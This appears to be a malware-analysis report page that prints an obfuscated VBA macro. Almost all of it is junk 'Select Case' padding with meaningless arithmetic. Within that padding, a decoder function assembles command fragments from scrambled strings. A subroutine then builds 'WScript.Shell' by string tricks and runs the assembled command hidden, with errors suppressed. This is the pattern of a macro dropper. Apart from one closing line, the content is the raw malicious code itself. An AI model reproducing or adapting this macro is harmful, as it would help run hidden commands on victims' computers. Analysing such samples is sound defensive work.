Select Case EfWUiY
         Case 91294
            PpwHN = Hex(90316 - CSng(84620) - 38807 + ChrW(mpEWjJ))
            ZUXhU = DLDNB
End Select
Select Case SLYwiT
         Case 99739
            FbvzNN = Hex(67665 - CSng(68394) - 54625 + ChrW(HbaLw))
            bpkVD = mzRpNh
End Select
BtkNaIIC = lmIitb("QiL6v,!%qLGm2", 3, 5)
Select Case KczhV
         Case 70631
            iZcjIP = Hex(57290 - CSng(20995) - 75208 + ChrW(VGNFV))
            jijbpz = YzBYSk
End Select
Select Case WLfmzh
         Case 61625
            RwrZYi = Hex(55619 - CSng(61661) - 55784 + ChrW(MjJJRQ))
            unNFo = PNiGl
End Select
WOapbaK = lmIitb("TtJEWwJVTw", 2, 2)
Select Case DSlnP
         Case 84106
            ahYFY = Hex(3326 - CSng(17447) - 5572 + ChrW(oiNuO))
            CtSncv = LtcrOZ
End Select
Select Case jfssRS
         Case 47095
            ktfalF = Hex(8691 - CSng(46033) - 34430 + ChrW(whopHT))
            ASOKi = ziShEf
End Select
jipZmrvbXv = lmIitb("5jYjfWKnD", 3, 3)
Select Case kYSaG
         Case 21514
            qKYHFz = Hex(6500 - CSng(12438) - 93643 + ChrW(tXYaRA))
            YGGis = XAssI
End Select
Select Case ZhDqBQ
         Case 76444
            NEjbQa = Hex(68420 - CSng(73592) - 37518 + ChrW(MDbzii))
            pHOLq = iAcJKs
End Select
dsoGqw = lmIitb("WQ4w%!l8VS", 5, 1)
Select Case zdLPNk
         Case 54368
            kCVniP = Hex(11399 - CSng(5592) - 15203 + ChrW(wUmMJZ))
            WHwbn = Ytfii
End Select
Select Case qdPGE
         Case 53463
            IXiDj = Hex(46254 - CSng(48463) - 83908 + ChrW(Hjsim))
            AkjPJc = rulBL
End Select
qrOukwkoVj = lmIitb("LJ% tes&&p=%Yfwf2CpJ", 5, 14)
Select Case PzzITS
         Case 37148
            cPNFj = Hex(9933 - CSng(96212) - 58228 + ChrW(CjXFcf))
            pSatf = RhMlbI
End Select
Select Case hJZnL
         Case 77780
            ENPSVr = Hex(76589 - CSng(2475) - 70476 + ChrW(GwMKY))
            JPHIAZ = dLprHi
End Select
YuXYjvCVlza = lmIitb("BviQ !%RSJchtQ%!!%P%YwlS", 6, 15)
Select Case VMjuI
         Case 36065
            ZurGa = Hex(16412 - CSng(76547) - 97815 + ChrW(WBJVP))
            Efzfb = GfzjWa
End Select
Select Case QvTXZ
         Case 27664
            NTDhr = Hex(83587 - CSng(7073) - 37683 + ChrW(Vkapb))
            zQBCj = hczUoq
End Select
TpTXQVvzPhJ = lmIitb("Nw8B,4s&&rbPZYQSe=%qLGVJ", 2, 12)
Select Case pTsuK
         Case 98889
            wBqkii = Hex(50322 - CSng(15888) - 1245 + ChrW(OEuCwC))
            Whffr = MDAod
End Select
Select Case RZzwOs
         Case 17003
            NYMJc = Hex(33923 - CSng(41357) - 20813 + ChrW(LjCfVD))
            KqKGw = cFzsos
End Select
PhKlYTmTFlV = lmIitb("2ICSRTzdq1SNw", 5, 4)
Select Case ZsPrZW
         Case 44167
            DmmKz = Hex(56043 - CSng(31716) - 83061 + ChrW(JwWdmY))
            CYPvHL = ddUSTR
End Select
Select Case HAZhi
         Case 25540
            zqCYaV = Hex(60835 - CSng(97993) - 81432 + ChrW(zGlkP))
            tuwjU = RTrbF
End Select
wliNMw = lmIitb("3aCwSSR3WQ", 7, 2)
Select Case wKoZi
         Case 24800
            YwrnDi = Hex(30410 - CSng(95757) - 56893 + ChrW(nuRsjf))
            jdXtZi = wPIAfQ
End Select
Select Case GCWGbX
         Case 91530
            ThWNt = Hex(61087 - CSng(32502) - 95957 + ChrW(kniKF))
            MfrcwL = lHwzd
End Select
nbhfwjni = lmIitb("SQcYoaIRtWOCUPQ7nX3", 5, 10)
Select Case sbALfi
         Case 72550
            ztoKY = Hex(55518 - CSng(13360) - 15458 + ChrW(wTASK))
            juzAEw = QtCSF
End Select
Select Case nnMjpE
         Case 23051
            vEMihU = Hex(98899 - CSng(21476) - 10427 + ChrW(WntiOi))
            QKGvOo = Vcwkl
End Select
iPjRfWYLVoG = lmIitb("BErnjupjRjqGIS", 4, 7)
Select Case USozOb
         Case 95469
            dwMoz = Hex(9140 - CSng(70843) - 9018 + ChrW(EYhIZ))
            FrhQDM = VOZVP
End Select
Select Case JsYXP
         Case 60288
            PtAut = Hex(68180 - CSng(40259) - 4200 + ChrW(YwLPTX))
            Otflnm = PdTbK
End Select
BlVKcOZm = lmIitb("p2jswiuvv=%iGloz", 3, 9)
Select Case qNXvWZ
         Case 39335
            CzCZpS = Hex(84951 - CSng(28403) - 25552 + ChrW(zlwJik))
            cdflQa = KPALY
End Select
Select Case AjTQmf
         Case 31785
            iMdwzE = Hex(8604 - CSng(64145) - 89812 + ChrW(UiXKX))
            EHTZfH = wdicE
End Select
ijFiYABrQ = lmIitb("CDRdw1nsV%!!%YvuaNfBLnQ", 4, 14)
Select Case iLiqou
         Case 42985
            aCkGm = Hex(84300 - CSng(27752) - 41303 + ChrW(MpIhL))
            LrGWBj = QczlL
End Select
Select Case bVPQjA
         Case 83842
            DdrFU = Hex(58624 - CSng(55984) - 62397 + ChrW(jKEAMU))
            aONCd = YwFVR
End Select
DGwYDL = lmIitb("QESuS3wBes&&wbPZYQSo=%duabW", 2, 13)
Select Case dPwWcK
         Case 15755
            rYXNP = Hex(61959 - CSng(25933) - 29842 + ChrW(DtOArq))
            mpnpF = zwNzCL
End Select
Select Case bjFzkj
         Case 60030
            ZaBpw = Hex(24250 - CSng(28525) - 51548 + ChrW(miYwcM))
            mjVoT = ZwSioD
End Select
kHlahoR = lmIitb("mnOwJu% tes&&tvfRBEP.", 6, 12)
Select Case GEnGlI
         Case 4706
            KXHkD = Hex(79896 - CSng(75458) - 84205 + ChrW(nzXwL))
            KqsdB = WPXLb
End Select
Select Case TwLGh
         Case 55099
            JmMPm = Hex(1943 - CSng(87354) - 2879 + ChrW(ZhzKr))
            bzsSH = YjsZBZ
End Select
GzziDOaaozv = lmIitb("tRI9iRd%YfwfWHNKZ%!=%Yw0", 3, 15)
Select Case dZZja
         Case 3473
            WRXPdl = Hex(75680 - CSng(48972) - 13243 + ChrW(BIROVN))
            OUckC = qlbjY
End Select
Select Case ZuHzI
         Case 86985
            PljVzo = Hex(37237 - CSng(311) - 27875 + ChrW(lTAvm))
            hqNFMX = OSTOOi
End Select
KiONUGfTokF = lmIitb("KCqW,jwRjq%!=%fkLPksnZjiQ", 3, 16)
Select Case lKUPd
         Case 24999
            wljBp = Hex(60131 - CSng(53141) - 35963 + ChrW(wcnGZH))
            nirmVC = ZFRFfa
End Select
Select Case VlLIMz
         Case 41801
            hEuhj = Hex(14687 - CSng(59223) - 27382 + ChrW(wEubK))
            mVJwNP = aaJUiu
End Select
zBbbG = lmIitb("aNq.8Kzolc6", 2, 4)
Select Case tfAwpT
         Case 26622
            WrEvzk = Hex(97631 - CSng(44175) - 11325 + ChrW(KEZnC))
            ICviT = MZkba
End Select
Select Case EEsRs
         Case 83010
            zbhwd = Hex(31932 - CSng(56456) - 32889 + ChrW(puPEk))
            Binzvk = FIjbBz
End Select
SEzdWOYHiGu = lmIitb("CuzBUStl", 6, 1)
Select Case UDvMFA
         Case 85184
            sXWjp = Hex(62348 - CSng(1736) - 98194 + ChrW(pcFCO))
            uvPEVY = COjbq
End Select
Select Case VFFPUF
         Case 34205
            ZEDBi = Hex(62123 - CSng(4026) - 26701 + ChrW(RUwcmR))
            EKUHuD = BQGnk
End Select
AnjuRf = lmIitb("tPjfWpuIWAfw=%OfisMTkj", 5, 16)
Select Case GqoCsH
         Case 39410
            IQPffC = Hex(22170 - CSng(80142) - 67567 + ChrW(joiKK))
            KUVwBk = sRibb
End Select
Select Case jQXKS
         Case 32985
            uUWks = Hex(27772 - CSng(91477) - 79683 + ChrW(jGKTkq))
            zUmun = ImmRWw
End Select
MAilimRo = lmIitb("SNup0% tesjS9", 4, 5)
Select Case FtucAK
         Case 7240
            wVEiWV = Hex(21821 - CSng(54462) - 80564 + ChrW(bqCXpf))
            kGLjz = swKbpM
End Select
Select Case wvOdX
         Case 97743
            OtizkR = Hex(56723 - CSng(30053) - 59652 + ChrW(iRmaZ))
            PmdKi = iZjXj
End Select
TNVRUdqAbiZ = lmIitb("S4% tes&&s=%OmwdnqBj", 7, 12)
Select Case HIRNEF
         Case 14671
            aZqdMz = Hex(27195 - CSng(92995) - 49633 + ChrW(arYjwq))
            nQKLES = kwIWr
End Select
Select Case KbEQXN
         Case 95110
            HdnDn = Hex(1720 - CSng(4109) - 58685 + ChrW(XblEh))
            qKhMd = zLlaU
End Select
kqcia = lmIitb(" jpBSjCdDY", 2, 1)
Select Case uECMFK
         Case 27520
            UurOCP = Hex(78085 - CSng(16938) - 57471 + ChrW(pXdFN))
            qATzH = CdSSH
End Select
Select Case aJwPlC
         Case 31995
            XVZVp = Hex(62831 - CSng(19879) - 56694 + ChrW(iHcFM))
            APwsMU = VFvjH
End Select
KqJjdd = lmIitb("%des&&eh=%PzolcYOCv7rS", 8, 13)
Select Case rBwXs
         Case 59887
            jzFRou = Hex(72708 - CSng(65448) - 84268 + ChrW(qjNbz))
            mJEwB = UZIZs
End Select
Select Case zLGIC
         Case 30581
            NFKAj = Hex(549 - CSng(13076) - 10979 + ChrW(BMMjQW))
            hPXhs = wXOTq
End Select
HTWko = lmIitb("wCR%1%!&&ll=%RSSUGN", 5, 10)
Select Case BNOsdi
         Case 863
            SXFPc = Hex(29433 - CSng(51198) - 45972 + ChrW(hfvbwY))
            iiZJHn = QKLDdn
End Select
Select Case zamrRN
         Case 22386
            jiLoYL = Hex(16839 - CSng(36089) - 17271 + ChrW(sHioo))
            Toizr = XWBzAN
End Select
uWVWmV = lmIitb("0OiNQJwcjzBib", 2, 6)
Select Case PVbNLi
         Case 91376
            OQGXW = Hex(28970 - CSng(44002) - 26921 + ChrW(MKlZY))
            iMoEGp = aKuntp
End Select
Select Case Dljmj
         Case 99704
            JDTjZ = Hex(38481 - CSng(82103) - 54545 + ChrW(mpWjmj))
            lWOvk = wdKoiw
End Select
RQiRPJaK = lmIitb("56AadqJu%!!%fkLPksnZjf90S", 5, 17)
Select Case VwziDp
         Case 64031
            kmMDI = Hex(88990 - CSng(94657) - 67551 + ChrW(CdTjz))
            SEpZG = ZkpulT
End Select
Select Case EbCPR
         Case 1755
            TmiBhr = Hex(89207 - CSng(58954) - 96936 + ChrW(SJwqGE))
            kdIUPs = oTHYT
End Select
RHjDL = lmIitb("zidu=%TdmEpcaQdSJOY", 4, 12)
Select Case wsOBI
         Case 22326
            iwrKk = Hex(87910 - CSng(43780) - 98529 + ChrW(XUzXG))
            osMEtQ = NjVKr
End Select
Select Case HYCaM
         Case 40491
            vuTLuM = Hex(20100 - CSng(40767) - 8116 + ChrW(TIahAs))
            mTPqK = wwXvkt
End Select
EAqCcjtYjWb = lmIitb("j23%NjGSA% toZS", 4, 6)
Select Case zuJjB
         Case 95788
            SOzJNl = Hex(98814 - CSng(4237) - 85145 + ChrW(kGjint))
            DkAXP = Qablh
End Select
Select Case sPwiDF
         Case 7544
            hsuamX = Hex(8085 - CSng(92484) - 13083 + ChrW(wmwVYh))
            cjnbNA = wWVhZs
End Select
HlIlVsz = lmIitb("PV,hIes&&!iul", 4, 5)
Select Case EMMSIm
         Case 28331
            TUhJMX = Hex(38767 - CSng(52832) - 44286 + ChrW(OwbWQR))
            sQbQB = XNGra
End Select
Select Case iLMpz
         Case 29542
            ziQWQ = Hex(95336 - CSng(33198) - 55074 + ChrW(wOKZmI))
            iMPYT = wLidT
End Select
IzoIsd = lmIitb("QSvuaNfB% tes&&PMohEiU", 5, 16)
Select Case nMqXh
         Case 13444
            dQETIM = Hex(72156 - CSng(93338) - 46021 + ChrW(QalZo))
            dkqwbh = onivp
End Select
Select Case jdKMv
         Case 18015
            zuujQF = Hex(30116 - CSng(50372) - 42339 + ChrW(zwMkk))
            zjdrC = qpCAYP
End Select
ERmtLJwK = lmIitb("MDlfWKENlD% tes&&NsYPUnw", 4, 18)
Select Case tZMiu
         Case 93661
            Swifu = Hex(62298 - CSng(95824) - 55931 + ChrW(vnhzGK))
            SRlIDF = QhALcc
End Select
Select Case bXZrt
         Case 50497
            BtKHKS = Hex(55132 - CSng(37182) - 35472 + ChrW(MvkJV))
            VTOqbb = MvDvRJ
End Select
FRiNjSWItSk = lmIitb("3v31Q.jWHNKZ% tes&&RouCKp8u", 3, 18)
Select Case QOYWq
         Case 85650
            rrivuR = Hex(22082 - CSng(58756) - 1292 + ChrW(wFpDYf))
            AZzzLG = LJACw
End Select
Select Case ovkzDB
         Case 53114
            Pnkkv = Hex(57659 - CSng(96678) - 33485 + ChrW(qbrWbG))
            iVUrNA = IPJwO
End Select
mFkjPlMTSmw = lmIitb("N,RfnzhwnTkBULJofm", 5, 12)
Select Case hnBIwi
         Case 5750
            ZBQbkT = Hex(68218 - CSng(80791) - 84706 + ChrW(MpHVi))
            jFPOcV = fjnODa
End Select
Select Case tGQjOw
         Case 13049
            qhfCiL = Hex(98722 - CSng(9368) - 84551 + ChrW(iRKHt))
            HRHjUa = KHHLD
End Select
NacRRUPRH = lmIitb("ivIENlD%!!%mw3bni", 7, 8)
Select Case qAmsY
         Case 56809
            AZarPL = Hex(52196 - CSng(34571) - 54444 + ChrW(jlMUcz))
            XKPLVu = AvpBVs
End Select
Select Case SMzar
         Case 30004
            POanin = Hex(4143 - CSng(42539) - 83513 + ChrW(LrOABN))
            zpqUJZ = SVbkMS
End Select
QJnLZj = lmIitb("RrJchtQ% tGqpz", 5, 8)
Select Case XntJnM
         Case 74185
            KXJZoI = Hex(55343 - CSng(65596) - 39762 + ChrW(wHbBZ))
            GozUJL = JYwnE
End Select
Select Case hwfnzt
         Case 13074
            mNDiI = Hex(78959 - CSng(74146) - 19623 + ChrW(BrtHn))
            kNwbh = HPTiGG
End Select
RPYhDahUoOj = lmIitb("TClZrCkAPTl% tes&&!%3QuK", 5, 18)
Select Case IwFlG
         Case 13910
            htiRoi = Hex(11130 - CSng(77697) - 24089 + ChrW(Oquou))
            ARZXfz = zBiTBU
End Select
Select Case cipKm
         Case 8746
            lDikWP = Hex(45998 - CSng(48250) - 32334 + ChrW(ZdVVz))
            wfaNH = mLMXd
End Select
zQwZBWhONfr = lmIitb("DVqOUOcwMpKZRVV% t2Oo39", 6, 14)
Select Case IvuiV
         Case 6029
            sjzUGa = Hex(26142 - CSng(86047) - 42837 + ChrW(fwpdbt))
            LqjWRT = zmEQV
End Select
Select Case ItbZkY
         Case 46843
            iwXHO = Hex(8285 - CSng(63341) - 53443 + ChrW(iQpwTj))
            opCjAf = ZvFKTB
End Select
MfnYuwszoz = lmIitb("%1PuqcWWRV=%LCVXlNcvOz1", 3, 16)
Select Case LbIzr
         Case 84963
            JiuofS = Hex(28365 - CSng(16173) - 57071 + ChrW(oMiluW))
            ICUzLJ = NanWoj
End Select
XqbcjuF = MAilimRo + mFkjPlMTSmw + BlVKcOZm + FRiNjSWItSk + qrOukwkoVj + iPjRfWYLVoG + DGwYDL + zQwZBWhONfr + AnjuRf + IzoIsd + GzziDOaaozv + HlIlVsz + EAqCcjtYjWb + wliNMw + RHjDL + kqcia + nbhfwjni + kHlahoR + PhKlYTmTFlV + TpTXQVvzPhJ + qDaRPVjFMD + KiONUGfTokF + SpQDviOqz + iNMVPZRa + RPYhDahUoOj + TNVRUdqAbiZ + uWVWmV + MfnYuwszoz + ERmtLJwK + KqJjdd + QJnLZj + HTWko + ijFiYABrQ + RQiRPJaK + SEzdWOYHiGu + WOapbaK + BtkNaIIC + dsoGqw + OAmpiEzFEC + NacRRUPRH + jipZmrvbXv + zBbbG + YuXYjvCVlza
Select Case boRiGH
         Case 83523
            NNQSY = Hex(42255 - CSng(13683) - 35967 + ChrW(QEQop))
            dzZAb = isTwh
End Select
End Function
Sub uJqdzTVGLq(lTPAkCrZlmO As String)
On Error Resume Next
Select Case pJUCSW
         Case 12500
            LpAzo = Hex(65753 - CSng(51400) - 32106 + ChrW(XmjbwG))
            bSozf = rYjWpz
End Select
UwkBFAiPaHs = qBImf + "WS" + Chr(VBA.vbKeyC) + Replace("ript.bPZYQShell", "bPZYQS", "s") + GTorWU
Select Case tdEXB
         Case 83448
            MazhI = Hex(67653 - CSng(34578) - 96057 + ChrW(QRsbNG))
            dtwAz = mbRdiA
End Select
CreateObject(UwkBFAiPaHs).Run TIVzvqQ + Chr(VBA.vbKeyC) + lTPAkCrZlmO + advfI + YZdtnmHaiFrEX, vbHide
Select Case XPfFRj
         Case 17188
            wufXq = Hex(37983 - CSng(6026) - 30725 + ChrW(UqzOB))
            kqNGsi = GrSci
End Select
End Sub

Attribute VB_Name = "wqOZiQdj"
Function plmjlvJYVcAH()
…

Open this report in the interactive analyzer, or submit your own file for analysis.